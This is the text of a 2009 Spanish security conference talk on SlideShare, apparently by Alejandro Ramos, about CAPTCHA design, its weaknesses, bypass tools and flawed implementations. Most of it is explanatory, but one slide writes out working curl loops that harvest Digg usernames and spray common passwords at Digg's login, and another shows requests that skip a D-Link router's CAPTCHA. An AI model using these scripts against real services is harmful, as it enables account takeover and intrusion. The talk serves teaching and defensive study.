SlideShare uma empresa Scribd logo
1 de 51
Baixar para ler offline
C[R]APCHAS.



                               Alejandro Ramos
                                    CISSP, CISA




Salamanca – Julio 2009   securitybydefault.com
Completely Automated Public Turing test to
                                          CAPTCHAS.

          tell Computers and Humans Apart.




     Prueba de Turing pública y automática para
C[R]APCHAS. diferenciar máquinas y humano
Curso de Verano - Salamanca, julio 2009
Introducción


                                          • Creador Luis von Ahn,
                                            Manuel Blum y Nicolas J.
                                            Hooper
                                          • Año 2000
                                          • Evitar añadir sitios al
                                            directorio   de   Yahoo!
                                            automáticamente.
                                          • Pregunta – Respuesta
                                          • Reverse Turing


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
• Antes de llevar a cabo una acción se
       comprueba la condición de Hommer.
     • Previene que software automático realice:
          –   SPAM: blogs, wikis, foros
          –   Registro masivo de usuarios
          –   Votaciones
          –   Fuerza Bruta de usuarios / contraseñas
     • Diseño:
          – Fácil de resolver para el hombre
          – Difícil de resolver para la máquina
          – Fácil de generar y evaluar

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Tipos de captcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
¿Contraseña?                              ¿Correcta?

                             NO                                      SI

  ¿Contraseña?                               ¿Correcta?
                              NO
                                                                    SI

   ¿Contraseña?                              ¿Correcta?

                                            NO                 SI




                                          ¿allant?
                         NO                               SI



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Evolución

                                             EZ-Gimpy



                                                       + Contraste
                                                       + Fondo
                                                       + Fuente no fija

                                                                  + Línea
                                                                  - Fondos



                                     + Superposición


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Captchas no resolvibles                               Accesibilidad




                             http://www.w3.org/TR/turingtest/

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Vulnerabilidades
   • Tipo de letra:
        –   No variable
        –   Sin rotación
        –   Colores fijos
        –   Sin deformación
        –   Sin superposición
        –   Misma posición de caracteres
        –   Misma longitud de caracteres
        –   Reducido código de caracteres
   • Fondo:
        – Colores fijos
        – Sin textura o textura fija

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Diseño seguro


        •   Rotar colores en la fuente y el fondo.
        •   Uso de mayúsculas y minúsculas.
        •   Letras más oscuras y más claras que el fondo.
        •   Uso de escala de colores (gradient).
        •   No alinear los caracteres horizontalmente.
        •   Sobreponer las letras.
        •   No utilizar palabras de diccionario.
        •   Distinta longitud de caracteres.
        •   Dibujar líneas sobre las letras del mismo color.
        •   Amplio código de caracteres.


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Métodos para saltar CAPTCHAs




     • Mediante el uso de
       OCR / IVR
     • Explotando la
       implantación - MoBIC
     • Usando mano de obra
       barata



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Cortar, copiar, pintar y colorear




                                                                    A
                                                                    R
                                                                    C
                                                                    3
                                                                    I

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Herramientas Disponibles




     • PWNtcha: http://caca.zoy.org/wiki/PWNtcha
     • CAP-OCR: http://cap-cap.ru/
     • Captcha Breaker: http://churchturing.org/captcha-
       dist/
     • aiCaptcha: http://www.mperfect.net/aiCaptcha/




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
PWNtcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Ataques 2008




        Google
        (Jan 17) 20%




        Hotmail
        (Feb 6) 30-35%




        Yahoo
        (Feb 22) 30-35%



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
jDownloader. jAntiCaptcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/
                         http://xrumer-palladium.blogspot.com/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Software comercial




               http://www.guruperl.net/products/captcha-bypass/
                         http://xrumer-palladium.blogspot.com/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Servicios Captcha




                        http://www.lafdc.com/captcha/
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Captchas de Voz


    •No son efectivos
    •Más inseguros que los tradicionales de imágenes
    •Poco difundidos
    •Pruebas de concepto para Google
    •IVR (Interactive Voice Response)




    http://blog.wintercore.com/?p=11
    http://vorm.net/captchas

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Resolviendo Captchas a Bajo coste




    Resolviendo CAPTCHAS Semiautomáticamente
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
A mano…




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Decaptcher.com




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Explotando usuarios




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Explotando usuarios




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
IMPLANTACIONES


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Router D-Link
    1. Modificación de los DNS del
       router por malware (pharming)
    2. D-Link actualiza firmware
       añadiendo un CAPTCHA a la
       autenticación.
    3. La implantación es incorrecta,
       paginas como la que gestiona
       contraseña WPA, son accedidas
       sin necesidad de CAPTCHA

  GET /post_login.xml?hash=c8[…]a&auth_code=02F&auth_id=26
  GET /
      /post_login.xml?hash=c8[…]6a
  GET /
      /wifisc_add_sta.xml?method=pbutton&wps_ap_ix=0


                   http://www.milw0rm.com/exploits/8696

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Fallos genéricos en Implantaciones

     • Re-utilizando el ID de sesión para un
       CAPTCHA conocido
     • Envío de identificación de CAPTCHA +
       solución, re-utilización de CAPTCHAs
       conocidos.
     • Reiniciando intentos con usuario conocido
     • Uso de un número reducido de CAPTCHAS
       (generación de BBDD)
     • Vulnerable a otros ataques web: XSS,
       CSRF, etc


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
DNI-Pasaporte




<td align="center" style="font-size: 30pt; font-family: Courier; color: blue;">T</td>
<td align="center" style="font-size: 30pt; font-family: Arial; color: blue;">B</td>
<td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">I</td>
<td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">J</td>


    http://rafavargas.com/2008/05/14/un-candidato-a-peor-captcha-de-la-historia/

 C[R]APCHAS.
 Curso de Verano - Salamanca, julio 2009
Red.Es




                 http://mnm.uib.es/gallir/posts/2007/06/09/1108

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Worlds’s most influential person   Revista Time




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Análisis del Captcha - Recaptcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Análisis del Captcha - Recaptcha




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
reCaptcha.com




        •60 millones de captcha resueltos por día
        •Technorati, meneame, twitter, lastfm.es …. Etc
        •10 millones de palabras por día
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Inundación de “penis”




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Inundación de “penis”




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Inundación de “penis”




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Megaupload.com

         Descarga de Archivo




        http://wwwq3.megaupload.com/gencap.php?60d8950a074984e0.gif




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Captchanumbers (php class)




      http://www.lucianobello.com.ar/post/captchas-the-good-the-
                          bad-and-the-ugly/

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com




C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com

 •Envío usuario y contraseña mediante un POST

 •El servidor crea una sesión y devuelve un 302 (redirección) a
 otra página que comprueba si la sesión es correcta o
 incorrecta en base al usuario y contraseña

 •Si la contraseña es válida paso, si no es válida me envía a la
 página de autenticación con un error y la misma sesión que
 suma 1 error fallido.

 •Elimino la sesión (y con ello el contador) y repito el envío de
 usuario y contraseña, volviendo al punto 1. Por lo que el
 captcha no aparecerá nunca al no sumar los cuatro intentos.

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com
                                             302
                                          Set-Cookie
                                                             Se comprueba
  POST                    Cookie?                               session
 con u/p                                                       generada
                                          Hay Cookie
                 Fallos = 3
                                                                Valido?

                                          Cookie: fallos+1

       CAPTCHA                                                Validado



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com
                                             302
  Se elimina
    cookie                                Set-Cookie
                                                         Se comprueba
  POST                    Cookie?                           session
 con u/p                                                   generada
                                          Hay Cookie
                 Fallos = 3
                                                            Valido?

                                     Cookie: fallos +1

       CAPTCHA                                            Validado



C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com
 Usuarios demócratas: (nicknames == usernames)
 for i in `seq 1 1018`; do
  curl –d "getdpage=$i&id=10&page=3&friends=0"
           "http://digg.com/politics/Bobama_s_44th_Amer/who” |
  grep users|sed -e 's|.*href="/users/(.*)">.*|1|g’
 done



  Password “123456” (nadie la usa)
  for pass in password 123456; do
      for i in `cat USUARIOSOBAMA`; do
        echo -n $i:$pass
       curl -c digg.txt -s -L -D - -d "username=$i&password=$pass&persistent=on"
  'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedIn|incorrect";
          done
  done |tee -a passwd2.digg

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com




           http://www.enriquedans.com/2009/04/digg-0wned.html

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Digg.com




           http://www.enriquedans.com/2009/04/digg-0wned.html

C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
Conclusiones


     • Los CAPTCHA son un sistema de eficacia
     dudable.
     •El mayor riesgo al que se somete es la
     mano de obra barata.
     •Su implantación es compleja y requiere de
     un análisis profundo.
     •Un diseño incorrecto                puede   volver   la
     medida inútil


C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009
C[R]APCHAS.
Curso de Verano - Salamanca, julio 2009

Mais conteúdo relacionado

Mais de Alejandro Ramos

Forense en windows - Resolución Reto I de Dragonjar
Forense en windows -  Resolución Reto I de DragonjarForense en windows -  Resolución Reto I de Dragonjar
Forense en windows - Resolución Reto I de DragonjarAlejandro Ramos
 
Análisis forense en linux - Compromised Linux Server
Análisis forense en linux - Compromised Linux ServerAnálisis forense en linux - Compromised Linux Server
Análisis forense en linux - Compromised Linux ServerAlejandro Ramos
 
Advanced password cracking
Advanced password crackingAdvanced password cracking
Advanced password crackingAlejandro Ramos
 
Seguridad en PDF: Adobe ¬¬
Seguridad en PDF: Adobe ¬¬Seguridad en PDF: Adobe ¬¬
Seguridad en PDF: Adobe ¬¬Alejandro Ramos
 
Jornada de ciberdefensa stuxnet
Jornada de ciberdefensa   stuxnetJornada de ciberdefensa   stuxnet
Jornada de ciberdefensa stuxnetAlejandro Ramos
 
Resolución de concursos de la NoConName 2010 v1.0
Resolución de concursos de la NoConName 2010 v1.0Resolución de concursos de la NoConName 2010 v1.0
Resolución de concursos de la NoConName 2010 v1.0Alejandro Ramos
 
Pentest curso de verano - valencia 2010
Pentest curso de verano - valencia 2010Pentest curso de verano - valencia 2010
Pentest curso de verano - valencia 2010Alejandro Ramos
 
Seguridad en PDF - Adobe ¬¬
Seguridad en PDF - Adobe ¬¬Seguridad en PDF - Adobe ¬¬
Seguridad en PDF - Adobe ¬¬Alejandro Ramos
 
Fist - Negocio Pirateria
Fist - Negocio PirateriaFist - Negocio Pirateria
Fist - Negocio PirateriaAlejandro Ramos
 

Mais de Alejandro Ramos (15)

Forense en windows - Resolución Reto I de Dragonjar
Forense en windows -  Resolución Reto I de DragonjarForense en windows -  Resolución Reto I de Dragonjar
Forense en windows - Resolución Reto I de Dragonjar
 
Análisis forense en linux - Compromised Linux Server
Análisis forense en linux - Compromised Linux ServerAnálisis forense en linux - Compromised Linux Server
Análisis forense en linux - Compromised Linux Server
 
Advanced password cracking
Advanced password crackingAdvanced password cracking
Advanced password cracking
 
Seguridad en PDF: Adobe ¬¬
Seguridad en PDF: Adobe ¬¬Seguridad en PDF: Adobe ¬¬
Seguridad en PDF: Adobe ¬¬
 
Wargame
WargameWargame
Wargame
 
Jornada de ciberdefensa stuxnet
Jornada de ciberdefensa   stuxnetJornada de ciberdefensa   stuxnet
Jornada de ciberdefensa stuxnet
 
Resolución de concursos de la NoConName 2010 v1.0
Resolución de concursos de la NoConName 2010 v1.0Resolución de concursos de la NoConName 2010 v1.0
Resolución de concursos de la NoConName 2010 v1.0
 
Pentest curso de verano - valencia 2010
Pentest curso de verano - valencia 2010Pentest curso de verano - valencia 2010
Pentest curso de verano - valencia 2010
 
Seguridad en PDF - Adobe ¬¬
Seguridad en PDF - Adobe ¬¬Seguridad en PDF - Adobe ¬¬
Seguridad en PDF - Adobe ¬¬
 
Rooted2010 Otp
Rooted2010 OtpRooted2010 Otp
Rooted2010 Otp
 
Owasp Top10 FireFox
Owasp Top10 FireFoxOwasp Top10 FireFox
Owasp Top10 FireFox
 
Fist - Negocio Pirateria
Fist - Negocio PirateriaFist - Negocio Pirateria
Fist - Negocio Pirateria
 
Seguridad en Bluetooth
Seguridad en BluetoothSeguridad en Bluetooth
Seguridad en Bluetooth
 
DNI-E
DNI-EDNI-E
DNI-E
 
DoS En La Ciberguerra
DoS En La CiberguerraDoS En La Ciberguerra
DoS En La Ciberguerra
 

Último

La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxJOSEMANUELHERNANDEZH11
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxpabonheidy28
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesFundación YOD YOD
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024GiovanniJavierHidalg
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 

Último (16)

La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptx
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docx
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento Protégeles
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 

Crapcha Sv1.0 Slide Share

  • 1. C[R]APCHAS. Alejandro Ramos CISSP, CISA Salamanca – Julio 2009 securitybydefault.com
  • 2. Completely Automated Public Turing test to CAPTCHAS. tell Computers and Humans Apart. Prueba de Turing pública y automática para C[R]APCHAS. diferenciar máquinas y humano Curso de Verano - Salamanca, julio 2009
  • 3. Introducción • Creador Luis von Ahn, Manuel Blum y Nicolas J. Hooper • Año 2000 • Evitar añadir sitios al directorio de Yahoo! automáticamente. • Pregunta – Respuesta • Reverse Turing C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 4. • Antes de llevar a cabo una acción se comprueba la condición de Hommer. • Previene que software automático realice: – SPAM: blogs, wikis, foros – Registro masivo de usuarios – Votaciones – Fuerza Bruta de usuarios / contraseñas • Diseño: – Fácil de resolver para el hombre – Difícil de resolver para la máquina – Fácil de generar y evaluar C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 5. Tipos de captcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 6. ¿Contraseña? ¿Correcta? NO SI ¿Contraseña? ¿Correcta? NO SI ¿Contraseña? ¿Correcta? NO SI ¿allant? NO SI C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 7. Evolución EZ-Gimpy + Contraste + Fondo + Fuente no fija + Línea - Fondos + Superposición C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 8. Captchas no resolvibles Accesibilidad http://www.w3.org/TR/turingtest/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 9. Vulnerabilidades • Tipo de letra: – No variable – Sin rotación – Colores fijos – Sin deformación – Sin superposición – Misma posición de caracteres – Misma longitud de caracteres – Reducido código de caracteres • Fondo: – Colores fijos – Sin textura o textura fija C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 10. Diseño seguro • Rotar colores en la fuente y el fondo. • Uso de mayúsculas y minúsculas. • Letras más oscuras y más claras que el fondo. • Uso de escala de colores (gradient). • No alinear los caracteres horizontalmente. • Sobreponer las letras. • No utilizar palabras de diccionario. • Distinta longitud de caracteres. • Dibujar líneas sobre las letras del mismo color. • Amplio código de caracteres. C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 11. Métodos para saltar CAPTCHAs • Mediante el uso de OCR / IVR • Explotando la implantación - MoBIC • Usando mano de obra barata C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 12. Cortar, copiar, pintar y colorear A R C 3 I C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 13. Herramientas Disponibles • PWNtcha: http://caca.zoy.org/wiki/PWNtcha • CAP-OCR: http://cap-cap.ru/ • Captcha Breaker: http://churchturing.org/captcha- dist/ • aiCaptcha: http://www.mperfect.net/aiCaptcha/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 14. PWNtcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 15. Ataques 2008 Google (Jan 17) 20% Hotmail (Feb 6) 30-35% Yahoo (Feb 22) 30-35% C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 16. Software C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 17. jDownloader. jAntiCaptcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 18. Software comercial http://www.guruperl.net/products/captcha-bypass/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 19. Software comercial http://www.guruperl.net/products/captcha-bypass/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 20. Software comercial http://www.guruperl.net/products/captcha-bypass/ http://xrumer-palladium.blogspot.com/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 21. Software comercial http://www.guruperl.net/products/captcha-bypass/ http://xrumer-palladium.blogspot.com/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 22. Servicios Captcha http://www.lafdc.com/captcha/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 23. Captchas de Voz •No son efectivos •Más inseguros que los tradicionales de imágenes •Poco difundidos •Pruebas de concepto para Google •IVR (Interactive Voice Response) http://blog.wintercore.com/?p=11 http://vorm.net/captchas C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 24. Resolviendo Captchas a Bajo coste Resolviendo CAPTCHAS Semiautomáticamente C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 25. A mano… C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 27. Explotando usuarios C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 28. Explotando usuarios C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 30. Router D-Link 1. Modificación de los DNS del router por malware (pharming) 2. D-Link actualiza firmware añadiendo un CAPTCHA a la autenticación. 3. La implantación es incorrecta, paginas como la que gestiona contraseña WPA, son accedidas sin necesidad de CAPTCHA GET /post_login.xml?hash=c8[…]a&auth_code=02F&auth_id=26 GET / /post_login.xml?hash=c8[…]6a GET / /wifisc_add_sta.xml?method=pbutton&wps_ap_ix=0 http://www.milw0rm.com/exploits/8696 C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 31. Fallos genéricos en Implantaciones • Re-utilizando el ID de sesión para un CAPTCHA conocido • Envío de identificación de CAPTCHA + solución, re-utilización de CAPTCHAs conocidos. • Reiniciando intentos con usuario conocido • Uso de un número reducido de CAPTCHAS (generación de BBDD) • Vulnerable a otros ataques web: XSS, CSRF, etc C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 32. DNI-Pasaporte <td align="center" style="font-size: 30pt; font-family: Courier; color: blue;">T</td> <td align="center" style="font-size: 30pt; font-family: Arial; color: blue;">B</td> <td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">I</td> <td align="center" style="font-size: 30pt; font-family: Arial Black; color: blue;">J</td> http://rafavargas.com/2008/05/14/un-candidato-a-peor-captcha-de-la-historia/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 33. Red.Es http://mnm.uib.es/gallir/posts/2007/06/09/1108 C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 34. Worlds’s most influential person Revista Time C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 35. Análisis del Captcha - Recaptcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 36. Análisis del Captcha - Recaptcha C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 37. reCaptcha.com •60 millones de captcha resueltos por día •Technorati, meneame, twitter, lastfm.es …. Etc •10 millones de palabras por día C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 38. Inundación de “penis” C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 39. Inundación de “penis” C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 40. Inundación de “penis” C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 41. Megaupload.com Descarga de Archivo http://wwwq3.megaupload.com/gencap.php?60d8950a074984e0.gif C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 42. Captchanumbers (php class) http://www.lucianobello.com.ar/post/captchas-the-good-the- bad-and-the-ugly/ C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 43. Digg.com C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 44. Digg.com •Envío usuario y contraseña mediante un POST •El servidor crea una sesión y devuelve un 302 (redirección) a otra página que comprueba si la sesión es correcta o incorrecta en base al usuario y contraseña •Si la contraseña es válida paso, si no es válida me envía a la página de autenticación con un error y la misma sesión que suma 1 error fallido. •Elimino la sesión (y con ello el contador) y repito el envío de usuario y contraseña, volviendo al punto 1. Por lo que el captcha no aparecerá nunca al no sumar los cuatro intentos. C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 45. Digg.com 302 Set-Cookie Se comprueba POST Cookie? session con u/p generada Hay Cookie Fallos = 3 Valido? Cookie: fallos+1 CAPTCHA Validado C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 46. Digg.com 302 Se elimina cookie Set-Cookie Se comprueba POST Cookie? session con u/p generada Hay Cookie Fallos = 3 Valido? Cookie: fallos +1 CAPTCHA Validado C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 47. Digg.com Usuarios demócratas: (nicknames == usernames) for i in `seq 1 1018`; do curl –d "getdpage=$i&id=10&page=3&friends=0" "http://digg.com/politics/Bobama_s_44th_Amer/who” | grep users|sed -e 's|.*href="/users/(.*)">.*|1|g’ done Password “123456” (nadie la usa) for pass in password 123456; do for i in `cat USUARIOSOBAMA`; do echo -n $i:$pass curl -c digg.txt -s -L -D - -d "username=$i&password=$pass&persistent=on" 'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedIn|incorrect"; done done |tee -a passwd2.digg C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 48. Digg.com http://www.enriquedans.com/2009/04/digg-0wned.html C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
  • 49. Digg.com http://www.enriquedans.com/2009/04/digg-0wned.html C[R]APCHAS. Curso de Verano - Salamanca, julio 2009
